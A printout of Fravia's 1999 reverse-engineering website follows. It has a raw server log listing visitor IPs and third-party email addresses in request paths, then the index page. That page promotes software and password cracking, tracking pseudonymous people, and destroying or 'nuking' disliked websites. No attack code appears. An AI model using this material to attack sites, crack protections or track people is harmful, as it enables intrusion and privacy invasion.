137.222.103.136, -, 6/3/99, 9:19:14, W3SVC1, FRAVIA, 129.105.116.5, 0, 151, 233, 200, 0, HEAD,
/fravia/zipped/icedump4.zip, -,
137.222.103.136, -, 6/3/99, 9:19:14, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/reveinfo.htm, -,
192.167.20.59, -, 6/3/99, 9:19:14, W3SVC1, FRAVIA, 129.105.116.5, 4837, 320, 6357, 200, 0, GET,
/fravia/javascri.gif, -,
137.222.103.136, -, 6/3/99, 9:19:15, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/botstart.htm, -,
137.222.103.136, -, 6/3/99, 9:19:15, W3SVC1, FRAVIA, 129.105.116.5, 10515, 143, 47394, 200, 0, GET,
/fravia/cdromcla.htm, -,
137.222.103.136, -, 6/3/99, 9:19:15, W3SVC1, FRAVIA, 129.105.116.5, 6619, 143, 32988, 200, 0, GET,
/fravia/softtric.htm, -,
137.222.103.136, -, 6/3/99, 9:19:18, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 143, 404, 2, HEAD,
/fravia/ourtool.gif, -,
137.222.103.136, -, 6/3/99, 9:19:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/exegesis.htm, -,
137.222.103.136, -, 6/3/99, 9:19:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 227, 200, 0, HEAD,
/fravia/slaves.htm, -,
137.222.103.136, -, 6/3/99, 9:19:20, W3SVC1, FRAVIA, 129.105.116.5, 5117, 141, 15830, 200, 0, GET,
/fravia/septem.htm, -,
137.222.103.136, -, 6/3/99, 9:19:20, W3SVC1, FRAVIA, 129.105.116.5, 4667, 142, 3109, 200, 0, GET,
/fravia/progcor.gif, -,
137.222.103.136, -, 6/3/99, 9:19:20, W3SVC1, FRAVIA, 129.105.116.5, 4296, 142, 14052, 200, 0, GET,
/fravia/acaele1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:22, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/cugeosup.htm, -,
137.222.103.136, -, 6/3/99, 9:19:22, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 231, 200, 0, HEAD,
/fravia/asc0.zip, -,
137.222.103.136, -, 6/3/99, 9:19:22, W3SVC1, FRAVIA, 129.105.116.5, 3375, 143, 10246, 200, 0, GET,
/fravia/reveinfo.htm, -,

http://www.instinct.org/fravia/whatdika.htm (20 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
137.222.103.136, -, 6/3/99, 9:19:23, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 227, 200, 0, HEAD,
/fravia/body.htm, -,
137.222.103.136, -, 6/3/99, 9:19:23, W3SVC1, FRAVIA, 129.105.116.5, 0, 150, 233, 200, 0, HEAD,
/fravia/99solu/mad_sol.zip, -,
137.222.103.136, -, 6/3/99, 9:19:25, W3SVC1, FRAVIA, 129.105.116.5, 10, 150, 232, 200, 0, HEAD,
/fravia/99solu/int0sol.zip, -,
137.222.103.136, -, 6/3/99, 9:19:25, W3SVC1, FRAVIA, 129.105.116.5, 5087, 143, 15965, 200, 0, GET,
/fravia/botstart.htm, -,
137.222.103.136, -, 6/3/99, 9:19:25, W3SVC1, FRAVIA, 129.105.116.5, 3715, 143, 8948, 200, 0, GET,
/fravia/exegesis.htm, -,
137.222.103.136, -, 6/3/99, 9:19:27, W3SVC1, FRAVIA, 129.105.116.5, 4756, 141, 25603, 200, 0, GET,
/fravia/slaves.htm, -,
137.222.103.136, -, 6/3/99, 9:19:27, W3SVC1, FRAVIA, 129.105.116.5, 6440, 150, 17830, 200, 0, GET,
/fravia/zipped/icedump4.zip, -,
137.222.103.136, -, 6/3/99, 9:19:29, W3SVC1, FRAVIA, 129.105.116.5, 10, 150, 233, 200, 0, HEAD,
/fravia/99solu/jazzsol.zip, -,
137.222.103.136, -, 6/3/99, 9:19:29, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/mrwho_67.htm, -,
137.222.103.136, -, 6/3/99, 9:19:31, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/modernze.htm, -,
137.222.103.136, -, 6/3/99, 9:19:31, W3SVC1, FRAVIA, 129.105.116.5, 0, 150, 225, 200, 0, HEAD,
/fravia/99solu/bulletr.gif, -,
137.222.103.136, -, 6/3/99, 9:19:31, W3SVC1, FRAVIA, 129.105.116.5, 3685, 143, 16918, 200, 0, GET,
/fravia/cugeosup.htm, -,
137.222.103.136, -, 6/3/99, 9:19:34, W3SVC1, FRAVIA, 129.105.116.5, 6579, 139, 37780, 200, 0, GET,
/fravia/body.htm, -,
137.222.103.136, -, 6/3/99, 9:19:34, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/orctric1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:34, W3SVC1, FRAVIA, 129.105.116.5, 6950, 149, 66301, 200, 0, GET,
/fravia/99solu/mad_sol.zip, -,
137.222.103.136, -, 6/3/99, 9:19:34, W3SVC1, FRAVIA, 129.105.116.5, 7020, 139, 898, 200, 0, GET,
/fravia/asc0.zip, -,
137.222.103.136, -, 6/3/99, 9:19:34, W3SVC1, FRAVIA, 129.105.116.5, 0, 148, 225, 200, 0, HEAD,
/fravia/99solu/green.gif, -,
137.222.103.136, -, 6/3/99, 9:19:37, W3SVC1, FRAVIA, 129.105.116.5, 0, 151, 234, 200, 0, HEAD,
/fravia/zipped/twdapplo.zip, -,
137.222.103.136, -, 6/3/99, 9:19:37, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/real_geo.htm, -,
137.222.103.136, -, 6/3/99, 9:19:41, W3SVC1, FRAVIA, 129.105.116.5, 7360, 149, 66984, 200, 0, GET,
/fravia/99solu/jazzsol.zip, -,
137.222.103.136, -, 6/3/99, 9:19:41, W3SVC1, FRAVIA, 129.105.116.5, 5138, 143, 14402, 200, 0, GET,
/fravia/mrwho_67.htm, -,
137.222.103.136, -, 6/3/99, 9:19:41, W3SVC1, FRAVIA, 129.105.116.5, 10996, 149, 56563, 200, 0, GET,
/fravia/99solu/int0sol.zip, -,
137.222.103.136, -, 6/3/99, 9:19:43, W3SVC1, FRAVIA, 129.105.116.5, 6349, 149, 1107, 200, 0, GET,
/fravia/99solu/bulletr.gif, -,
137.222.103.136, -, 6/3/99, 9:19:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/ath_sta1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 228, 200, 0, HEAD,
/fravia/3frec2.jpg, -,
137.222.103.136, -, 6/3/99, 9:19:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/realmu1.htm, -,

http://www.instinct.org/fravia/whatdika.htm (21 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
137.222.103.136, -, 6/3/99, 9:19:45, W3SVC1, FRAVIA, 129.105.116.5, 7952, 143, 18854, 200, 0, GET,
/fravia/modernze.htm, -,
137.222.103.136, -, 6/3/99, 9:19:45, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 143, 404, 2, HEAD,
/fravia/idawll.dif, -,
192.167.20.59, -, 6/3/99, 9:19:45, W3SVC1, FRAVIA, 129.105.116.5, 3465, 326, 18015, 200, 0, GET,
/fravia/javhelp1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:47, W3SVC1, FRAVIA, 129.105.116.5, 7481, 147, 1103, 200, 0, GET,
/fravia/99solu/green.gif, -,
137.222.103.136, -, 6/3/99, 9:19:48, W3SVC1, FRAVIA, 129.105.116.5, 8833, 143, 12608, 200, 0, GET,
/fravia/orctric1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:48, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/marlbo2.htm, -,
137.222.103.136, -, 6/3/99, 9:19:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 151, 233, 200, 0, HEAD,
/fravia/zipped/bestwinp.zip, -,
137.222.103.136, -, 6/3/99, 9:19:50, W3SVC1, FRAVIA, 129.105.116.5, 6599, 143, 22975, 200, 0, GET,
/fravia/real_geo.htm, -,
137.222.103.136, -, 6/3/99, 9:19:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/reality1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:53, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/notanne3.htm, -,
137.222.103.136, -, 6/3/99, 9:19:54, W3SVC1, FRAVIA, 129.105.116.5, 0, 186, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=pedro_i@iname.com&YY=4654, -,
137.222.103.136, -, 6/3/99, 9:19:56, W3SVC1, FRAVIA, 129.105.116.5, 4997, 143, 19618, 200, 0, GET,
/fravia/ath_sta1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:57, W3SVC1, FRAVIA, 129.105.116.5, 4096, 142, 29601, 200, 0, GET,
/fravia/marlbo2.htm, -,
137.222.103.136, -, 6/3/99, 9:19:57, W3SVC1, FRAVIA, 129.105.116.5, 5448, 142, 19803, 200, 0, GET,
/fravia/realmu1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:57, W3SVC1, FRAVIA, 129.105.116.5, 10, 187, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=vporguen@yahoo.com&YY=3585, -,
193.174.75.166, -, 6/3/99, 9:19:58, W3SVC1, FRAVIA, 129.105.116.5, 0, 546, 164, 304, 0, GET,
/fravia/vao_hype.htm, -,
137.222.103.136, -, 6/3/99, 9:19:58, W3SVC1, FRAVIA, 129.105.116.5, 5247, 150, 25311, 200, 0, GET,
/fravia/zipped/bestwinp.zip, -,
137.222.103.136, -, 6/3/99, 9:20:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/rebodila.htm, -,
137.222.103.136, -, 6/3/99, 9:20:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 234, 200, 0, HEAD,
/fravia/applog2.zip, -,
137.222.103.136, -, 6/3/99, 9:20:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/sublimi.htm, -,
137.222.103.136, -, 6/3/99, 9:20:01, W3SVC1, FRAVIA, 129.105.116.5, 0, 137, 143, 404, 2, HEAD, /fravia/1.gif,
-,
137.222.103.136, -, 6/3/99, 9:20:01, W3SVC1, FRAVIA, 129.105.116.5, 5087, 143, 10501, 200, 0, GET,
/fravia/reality1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:03, W3SVC1, FRAVIA, 129.105.116.5, 0, 137, 143, 404, 2, HEAD, /fravia/2.gif,
-,
137.222.103.136, -, 6/3/99, 9:20:03, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/danadd1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:03, W3SVC1, FRAVIA, 129.105.116.5, 11967, 141, 49815, 200, 0, GET,
/fravia/3frec2.jpg, -,
137.222.103.136, -, 6/3/99, 9:20:03, W3SVC1, FRAVIA, 129.105.116.5, 20439, 150, 154639, 200, 0, GET,
/fravia/zipped/twdapplo.zip, -,

http://www.instinct.org/fravia/whatdika.htm (22 of 25) [2/7/2001 3:06:20 PM]


What Fravia knows about you
137.222.103.136, -, 6/3/99, 9:20:04, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/mammo_29.htm, -,
137.222.103.136, -, 6/3/99, 9:20:04, W3SVC1, FRAVIA, 129.105.116.5, 6669, 143, 15956, 200, 0, GET,
/fravia/notanne3.htm, -,
137.222.103.136, -, 6/3/99, 9:20:05, W3SVC1, FRAVIA, 129.105.116.5, 10, 137, 143, 404, 2, HEAD, /fravia/3.gif,
-,
137.222.103.136, -, 6/3/99, 9:20:07, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/conself2.htm, -,
137.222.103.136, -, 6/3/99, 9:20:07, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/shampa1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:07, W3SVC1, FRAVIA, 129.105.116.5, 10, 188, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=TheAnalyst@Nfo.Org&YY=31819, -,
137.222.103.136, -, 6/3/99, 9:20:11, W3SVC1, FRAVIA, 129.105.116.5, 0, 187, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=Gi_Joe@gi.joe.org&YY=31819, -,
137.222.103.136, -, 6/3/99, 9:20:12, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/reacraus.htm, -,
137.222.103.136, -, 6/3/99, 9:20:12, W3SVC1, FRAVIA, 129.105.116.5, 7511, 143, 18106, 200, 0, GET,
/fravia/rebodila.htm, -,
137.222.103.136, -, 6/3/99, 9:20:13, W3SVC1, FRAVIA, 129.105.116.5, 8142, 142, 49627, 200, 0, GET,
/fravia/sublimi.htm, -,
137.222.103.136, -, 6/3/99, 9:20:15, W3SVC1, FRAVIA, 129.105.116.5, 6850, 142, 28031, 200, 0, GET,
/fravia/danadd1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/altruis1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 187, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=borg@internet.net&YY=31819, -,
137.222.103.136, -, 6/3/99, 9:20:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/joarea1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:18, W3SVC1, FRAVIA, 129.105.116.5, 10, 185, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=swt@csd.uwm.edu&YY=31819, -,
137.222.103.136, -, 6/3/99, 9:20:18, W3SVC1, FRAVIA, 129.105.116.5, 7882, 143, 37482, 200, 0, GET,
/fravia/mammo_29.htm, -,
137.222.103.136, -, 6/3/99, 9:20:18, W3SVC1, FRAVIA, 129.105.116.5, 4977, 142, 12485, 200, 0, GET,
/fravia/shampa1.htm, -,
192.167.20.59, -, 6/3/99, 9:20:18, W3SVC1, FRAVIA, 129.105.116.5, 921, 326, 2947, 200, 0, GET,
/fravia/myown511.htm, -,
137.222.103.136, -, 6/3/99, 9:20:20, W3SVC1, FRAVIA, 129.105.116.5, 7030, 143, 42848, 200, 0, GET,
/fravia/conself2.htm, -,
137.222.103.136, -, 6/3/99, 9:20:20, W3SVC1, FRAVIA, 129.105.116.5, 10, 194, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=Newsposter@iceonline.com&YY=31819, -,
137.222.103.136, -, 6/3/99, 9:20:22, W3SVC1, FRAVIA, 129.105.116.5, 14861, 142, 197394, 200, 0, GET,
/fravia/applog2.zip, -,
137.222.103.136, -, 6/3/99, 9:20:22, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/reacrnn.htm, -,
137.222.103.136, -, 6/3/99, 9:20:23, W3SVC1, FRAVIA, 129.105.116.5, 0, 194, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=0123456789@somewhere.net&YY=31819, -,
137.222.103.136, -, 6/3/99, 9:20:23, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 225, 200, 0, HEAD,
/fravia/ffoodre.htm, -,
137.222.103.136, -, 6/3/99, 9:20:23, W3SVC1, FRAVIA, 129.105.116.5, 0, 194, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=DMu2CB.9Bw@iceonline.com&YY=31819, -,
137.222.103.136, -, 6/3/99, 9:20:24, W3SVC1, FRAVIA, 129.105.116.5, 10, 185, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=unknown@net.com&YY=31819, -,

http://www.instinct.org/fravia/whatdika.htm (23 of 25) [2/7/2001 3:06:20 PM]


What Fravia knows about you
137.222.103.136, -, 6/3/99, 9:20:24, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 226, 200, 0, HEAD,
/fravia/sueall.htm, -,
210.233.113.125, -, 6/3/99, 9:20:26, W3SVC1, FRAVIA, 129.105.116.5, 5928, 255, 1107, 200, 0, GET,
/fravia/bulletr.gif, -,
210.233.113.125, -, 6/3/99, 9:20:30, W3SVC1, FRAVIA, 129.105.116.5, 21831, 268, 23855, 200, 0, GET,
/fravia/index.htm, -,
137.222.103.136, -, 6/3/99, 9:20:32, W3SVC1, FRAVIA, 129.105.116.5, 13399, 143, 91027, 200, 0, GET,
/fravia/reacraus.htm, -,
137.222.103.136, -, 6/3/99, 9:20:32, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 226, 200, 0, HEAD,
/fravia/tapu1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:33, W3SVC1, FRAVIA, 129.105.116.5, 0, 139, 143, 404, 2, HEAD,
/fravia/orc.gif, -,
137.222.103.136, -, 6/3/99, 9:20:33, W3SVC1, FRAVIA, 129.105.116.5, 10385, 143, 10918, 200, 0, GET,
/fravia/altruis1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:33, W3SVC1, FRAVIA, 129.105.116.5, 10475, 142, 19236, 200, 0, GET,
/fravia/joarea1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:33, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 227, 200, 0, HEAD,
/fravia/halcio.htm, -,
137.222.103.136, -, 6/3/99, 9:20:34, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 143, 404, 2, HEAD,
/fravia/bulletr0.gif, -,
53.122.2.13, -, 6/3/99, 9:20:37, W3SVC1, FRAVIA, 129.105.116.5, 0, 518, 164, 304, 0, GET, /fravia/bab2.htm, -,
194.51.96.231, -, 6/3/99, 9:20:37, W3SVC1, FRAVIA, 129.105.116.5, 0, 200, 138, 304, 0, GET,
/fravia/straine1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:39, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/fragra_1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:39, W3SVC1, FRAVIA, 129.105.116.5, 10, 153, 143, 404, 2, HEAD,
/fravia/upd-send.asp-Prod=150, -,
137.222.103.136, -, 6/3/99, 9:20:42, W3SVC1, FRAVIA, 129.105.116.5, 9905, 142, 12981, 200, 0, GET,
/fravia/reacrnn.htm, -,
137.222.103.136, -, 6/3/99, 9:20:42, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/advert1.htm, -,
210.233.113.125, -, 6/3/99, 9:20:42, W3SVC1, FRAVIA, 129.105.116.5, 16844, 254, 20540, 200, 0, GET,
/fravia/kevin1.jpg, -,
137.222.103.136, -, 6/3/99, 9:20:44, W3SVC1, FRAVIA, 129.105.116.5, 9744, 142, 10023, 200, 0, GET,
/fravia/ffoodre.htm, -,
137.222.103.136, -, 6/3/99, 9:20:44, W3SVC1, FRAVIA, 129.105.116.5, 0, 153, 143, 404, 2, HEAD,
/fravia/upd-send.asp-Prod=151, -,
137.222.103.136, -, 6/3/99, 9:20:44, W3SVC1, FRAVIA, 129.105.116.5, 11147, 141, 11540, 200, 0, GET,
/fravia/sueall.htm, -,
137.222.103.136, -, 6/3/99, 9:20:44, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/sublimi1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:45, W3SVC1, FRAVIA, 129.105.116.5, 2413, 140, 14152, 200, 0, GET,
/fravia/tapu1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:45, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/infowarf.htm, -,
137.222.103.136, -, 6/3/99, 9:20:45, W3SVC1, FRAVIA, 129.105.116.5, 0, 153, 143, 404, 2, HEAD,
/fravia/upd-send.asp-Prod=190, -,
137.222.103.136, -, 6/3/99, 9:20:46, W3SVC1, FRAVIA, 129.105.116.5, 10, 153, 143, 404, 2, HEAD,
/fravia/upd-send.asp-Prod=245, -,
137.222.103.136, -, 6/3/99, 9:20:48, W3SVC1, FRAVIA, 129.105.116.5, 0, 153, 143, 404, 2, HEAD,
/fravia/upd-send.asp-Prod=247, -,
137.222.103.136, -, 6/3/99, 9:20:48, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,

http://www.instinct.org/fravia/whatdika.htm (24 of 25) [2/7/2001 3:06:20 PM]


What Fravia knows about you
/fravia/danadd2.htm, -,
137.222.103.136, -, 6/3/99, 9:20:50, W3SVC1, FRAVIA, 129.105.116.5, 4777, 143, 17091, 200, 0, GET,
/fravia/fragra_1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/kuririrh.htm, -,
137.222.103.136, -, 6/3/99, 9:20:50, W3SVC1, FRAVIA, 129.105.116.5, 4196, 142, 17385, 200, 0, GET,
/fravia/advert1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:50, W3SVC1, FRAVIA, 129.105.116.5, 3195, 143, 12764, 200, 0, GET,
/fravia/sublimi1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:50, W3SVC1, FRAVIA, 129.105.116.5, 2774, 141, 14633, 200, 0, GET,
/fravia/halcio.htm, -,
137.222.103.136, -, 6/3/99, 9:20:53, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 226, 200, 0, HEAD,
/fravia/talbott1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:53, W3SVC1, FRAVIA, 129.105.116.5, 10, 175, 143, 404, 3, HEAD,
/fravia/StartX/Compose/Email.asp-to=info@numega.com, -,
137.222.103.136, -, 6/3/99, 9:20:53, W3SVC1, FRAVIA, 129.105.116.5, 20, 153, 143, 404, 2, HEAD,
/fravia/upd-send.asp-Prod=998, -,
137.222.103.136, -, 6/3/99, 9:20:53, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 226, 200, 0, HEAD,
/fravia/psycioff.htm, -,
137.222.103.136, -, 6/3/99, 9:20:53, W3SVC1, FRAVIA, 129.105.116.5, 10, 153, 143, 404, 2, HEAD,
/fravia/upd-send.asp-Prod=280, -,
137.222.103.136, -, 6/3/99, 9:20:53, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 143, 404, 2, HEAD,
/fravia/parano1.htm, -,
137.222.103.136, -, 6/3/99, 9:20:53, W3SVC1, FRAVIA, 129.105.116.5, 2313, 143, 16395, 200, 0, GET,
/fravia/infowarf.htm, -,
137.222.103.136, -, 6/3/99, 9:20:57, W3SVC1, FRAVIA, 129.105.116.5, 5798, 142, 51990, 200, 0, GET,
/fravia/danadd2.htm, -,
137.222.103.136, -, 6/3/99, 9:20:57, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 228, 200, 0, HEAD,
/fravia/ibvolga.jpg, -,

Awaiting your essays!

Fravia's Anonymity Academy


homepage links anonymity +ORC students' essays tools academy
counter measures cocktails antismut search_forms
Is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere

http://www.instinct.org/fravia/whatdika.htm (25 of 25) [2/7/2001 3:06:20 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

Oh silly syn-attackers... Fravia fluctuat, nec mergitur


If you enjoy this site, you may be able to help
me
Some mirrors my not work or have obsolete copies of my site: search, peruse, find :-)
scratch pad!
Redirection (States) E-States (Crazyboy) E-Europe (P.Lowe) Asia (Faizal)
(fravia+)
W-Europe: A W-Europe: CH W-Europe: FR multimania
xoom
(Bernd) (Luc) (+tsehp) (Iduchosal)
new fortress! (Kevin) Australia (Peter)
Of course you should visit my Webtwin +Greythorne's site as well

Software
reverse
engineering and
web survival
arguments

Software protection
techniques and tools
~
Anonymity on the
Web: stalking, enemy

fravia's tracking and other


techniques
~
Reality cracking and
pages of anti-advertisement
techniques and tools

http://www.instinct.org/fravia/index.htm (1 of 6) [2/7/2001 3:06:27 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

~
F reverse How to search the
web: combing, klebing
and other strategies

R engineering ~
cookies removal; bots
and web-spiders

A frozen
October
1999

Version
trapping;
anti-Micro$oft and
anti-Netscape scripts
and tricks; tools for
V December
1999 software reverse
engineering;
cgi-cracking; user

I self-defense; corporate
survival counter
measures; home-pages

A capering and password


cracking techniques;
commercial smut sites
Fravia's Nofrill
Web design
busting; Java applets
('98,'99) reversing; vxd
monitoring;
steganographical and
cryptological reversing
matters; Javascript
based site protection
and deprotection
techniques; email
patterns reversing

On the Web
since 1995!

If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding

, fravia's residence, European Union


my reader, this labyrinth of pages (you'll never be able to count them all :-) contains many teachings, and
will help you gain knowledge that you will not find elsewhere. Please wander slowly inside: sip a good

http://www.instinct.org/fravia/index.htm (2 of 6) [2/7/2001 3:06:27 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

cocktail, take your time and explore at a leisurely pace. You'll find lessons on how to reverse engineer
windows, dos, linux and palmtop programs, both in order to protect or to deprotect them (fairly easy,
once you learn it); on how to search the Web using advanced techniques like 'combing' and 'klebing' (not
so easy); on how to gain real information (pretty difficult), on how to track pseudoanonymous people on
the web (fairly difficult), on how to protect your anonymity browsing the Web (quite difficult), on how
to reverse the reality around you (very difficult), on how to destroy web sites you do not like (easy...
given some conditions), on how to use (and detect) steganographical encryptions, on how to reverse or
implement javascript based site protections, on how to annoy spammers, reverse web-agents, trap bots,
write your own spiders and much more. I hope you'll enjoy this visit. Your critics and suggestions are
welcome.
fravia+

__My New Fortress is defended__


Thanking my holy protectors

Oh silly I thank Wizard


syn-attackers... Kevin for his
Fravia fluctuat, mighty protection of
nec mergitur my new fortress

__Disclaimer of liability__
I do disclaim thee, Oh Liability!

All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)

Read my short essay: Is reverse engineering legal?

Special disclaimer
About the part of my site dealing with reversing protection schemes
Please note that I have always been a very sensible person: if any programmer with a legitimate interest

http://www.instinct.org/fravia/index.htm (3 of 6) [2/7/2001 3:06:27 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

really thinks that an essay published on my site should be removed and put on a non-public part of the
fortress, I usually will comply.
Yet this will hurt the protectors, not the warez-crackers out there: "secrecy" in an Internet polluted with
warez and serial numbers (that I despise) does NOT make any sense: I believe -on the contrary-
maximum transparency to be a very important WEAPON for all software developers and for all
protectors and reversers alike. My site is a forum where anyone can learn HOW software "ticks", WHY
commercial protections do not work and why there are much better things to do with our knowledge than
releasing tons of crackz and warez to the lamers of the world. In fact I believe that you will learn here -if
anything- how to protect better your programs.

__Good browsers and bad browsers__


Which browser are you using, my good reader?

I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just " play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)

__Entrances to fravia's fortress__

"if your browser is poor click on the red..."


N.B.: The essays' database is at the moment NOT being updated

http://www.instinct.org/fravia/index.htm (4 of 6) [2/7/2001 3:06:27 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

fravia's past updates researches at fravia's

Read the news!


Fravia's blackboard! Alphabe!

__Fravia's counters and anti-spam links__

I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep my own counter above (started in July 1999 and
not working on the mirrors) and the Websitestory counter below, both count only the daily visitors with
"load images" settings who wait patiently at the main entrance of the fortress until the Websitestory
server has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is
cool, if a little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my fortress
server's loggings), yet low profile!

__On the way out__


Goodbye, please damage Microsoft

If you are new Faq History Awards Stats

Entrance to Fravia's pages of reverse engineering

This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter.
Anyone wishing to use the contents of my site for profit purposes should contact the Editor.

http://www.instinct.org/fravia/index.htm (5 of 6) [2/7/2001 3:06:27 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

(c) Fravia, 1995, 1996, 1997, 1998, 1999.


All rights reserved, in the European Union and elsewhere

